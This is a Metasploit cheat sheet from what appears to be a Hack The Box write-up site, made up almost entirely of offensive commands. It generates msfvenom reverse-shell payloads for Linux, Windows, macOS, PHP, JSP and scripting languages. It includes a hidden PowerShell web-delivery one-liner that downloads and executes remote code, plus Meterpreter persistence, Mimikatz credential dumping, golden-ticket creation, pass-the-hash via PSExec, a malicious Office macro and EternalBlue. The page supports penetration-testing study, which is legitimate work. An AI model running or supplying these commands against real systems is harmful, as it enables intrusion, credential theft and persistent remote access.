~/bokkapig
hack the box machine writeups
← cd ..

Metasploit

contents
metasploit.md

Summary#

Installation#

curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && chmod 755 msfinstall && ./msfinstall

Sessions#

CTRL+Z   -> Session in Backgroundsessions -> List sessionssessions -i session_number -> Interact with Session with idsessions -u session_number -> Upgrade session to a meterpretersessions -u session_number LPORT=4444 PAYLOAD_OVERRIDE=meterpreter/reverse_tcp HANDLER=false-> Upgrade session to a meterpretersessions -c cmd           -> Execute a command on several sessionssessions -i 10-20 -c "id" -> Execute a command on several sessions

Background handler#

ExitOnSession : the handler will not exit if the meterpreter dies.

screen -dRRsudo msfconsoleuse exploit/multi/handlerset PAYLOAD generic/shell_reverse_tcpset LHOST 0.0.0.0set LPORT 4444set ExitOnSession falsegenerate -o /tmp/meterpreter.exe -f exeto_handler[ctrl+a] + [d]

Meterpreter - Basic#

Generate a meterpreter#

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST="10.10.10.110" LPORT=4242 -f elf > shell.elfmsfvenom -p windows/meterpreter/reverse_tcp LHOST="10.10.10.110" LPORT=4242 -f exe > shell.exemsfvenom -p osx/x86/shell_reverse_tcp LHOST="10.10.10.110" LPORT=4242 -f macho > shell.machomsfvenom -p php/meterpreter_reverse_tcp LHOST="10.10.10.110" LPORT=4242 -f raw > shell.php; cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.phpmsfvenom -p windows/meterpreter/reverse_tcp LHOST="10.10.10.110" LPORT=4242 -f asp > shell.aspmsfvenom -p java/jsp_shell_reverse_tcp LHOST="10.10.10.110" LPORT=4242 -f raw > shell.jspmsfvenom -p java/jsp_shell_reverse_tcp LHOST="10.10.10.110" LPORT=4242 -f war > shell.warmsfvenom -p cmd/unix/reverse_python LHOST="10.10.10.110" LPORT=4242 -f raw > shell.pymsfvenom -p cmd/unix/reverse_bash LHOST="10.10.10.110" LPORT=4242 -f raw > shell.shmsfvenom -p cmd/unix/reverse_perl LHOST="10.10.10.110" LPORT=4242 -f raw > shell.pl

Meterpreter Webdelivery#

Set up a Powershell web delivery listening on port 8080.

use exploit/multi/script/web_deliveryset TARGET 2set payload windows/x64/meterpreter/reverse_httpset LHOST 10.0.0.1set LPORT 4444run
powershell.exe -nop -w hidden -c $g=new-object net.webclient;$g.proxy=[Net.WebRequest]::GetSystemWebProxy();$g.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $g.downloadstring('http://10.0.0.1:8080/rYDPPB');

Get System#

meterpreter > getsystem...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).meterpreter > getuidServer username: NT AUTHORITY\SYSTEM

Persistence Startup#

OPTIONS:-A        Automatically start a matching exploit/multi/handler to connect to the agent-L <opt>  Location in target host to write payload to, if none %TEMP% will be used.-P <opt>  Payload to use, default is windows/meterpreter/reverse_tcp.-S        Automatically start the agent on boot as a service (with SYSTEM privileges)-T <opt>  Alternate executable template to use-U        Automatically start the agent when the User logs on-X        Automatically start the agent when the system boots-h        This help menu-i <opt>  The interval in seconds between each connection attempt-p <opt>  The port on which the system running Metasploit is listening-r <opt>  The IP of the system running Metasploit listening for the connect backmeterpreter > run persistence -U -p 4242

Network Monitoring#

# list interfacesrun packetrecorder -li# record interface n°1run packetrecorder -i 1

Portforward#

portfwd add -l 7777 -r 172.17.0.2 -p 3006

Upload / Download#

upload /path/in/hdd/payload.exe exploit.exedownload /path/in/victim

Execute from Memory#

execute -H -i -c -m -d calc.exe -f /root/wce.exe -a  -w

Mimikatz#

load mimikatzmimikatz_command -f versionmimikatz_command -f samdump::hashesmimikatz_command -f sekurlsa::wdigestmimikatz_command -f sekurlsa::searchPasswordsmimikatz_command -f sekurlsa::logonPasswords full
load kiwicreds_allgolden_ticket_create -d <domainname> -k <nthashof krbtgt> -s <SID without le RID> -u <user_for_the_ticket> -t <location_to_store_tck>

Pass the Hash - PSExec#

msf > use exploit/windows/smb/psexecmsf exploit(psexec) > set payload windows/meterpreter/reverse_tcpmsf exploit(psexec) > exploitSMBDomain             WORKGROUP                                                          no        The Windows domain to use for authenticationSMBPass               598ddce2660d3193aad3b435b51404ee:2d20d252a479f485cdf5e171d93985bf  no        The password for the specified usernameSMBUser               Lambda                                                             no        The username to authenticate as

Use SOCKS Proxy#

setg Proxies socks4:127.0.0.1:1080

Scripting Metasploit#

Using a .rc file, write the commands to execute, then run msfconsole -r ./file.rc. Here is a simple example to script the deployment of a handler an create an Office doc with macro.

use exploit/multi/handlerset PAYLOAD windows/meterpreter/reverse_httpsset LHOST 0.0.0.0set LPORT 4646set ExitOnSession falseexploit -j -zuse exploit/multi/fileformat/office_word_macro set PAYLOAD windows/meterpreter/reverse_httpsset LHOST 10.10.14.22set LPORT 4646exploit

Multiple transports#

msfvenom -p windows/meterpreter_reverse_tcp lhost=<host> lport=<port> sessionretrytotal=30 sessionretrywait=10 extensions=stdapi,priv,powershell extinit=powershell,/home/ionize/AddTransports.ps1 -f exe

Then, in AddTransports.ps1

Add-TcpTransport -lhost <host> -lport <port> -RetryWait 10 -RetryTotal 30Add-WebTransport -Url http(s)://<host>:<port>/<luri> -RetryWait 10 -RetryTotal 30

Best of - Exploits#

  • MS17-10 Eternal Blue - exploit/windows/smb/ms17_010_eternalblue
  • MS08_67 - exploit/windows/smb/ms08_067_netapi

References#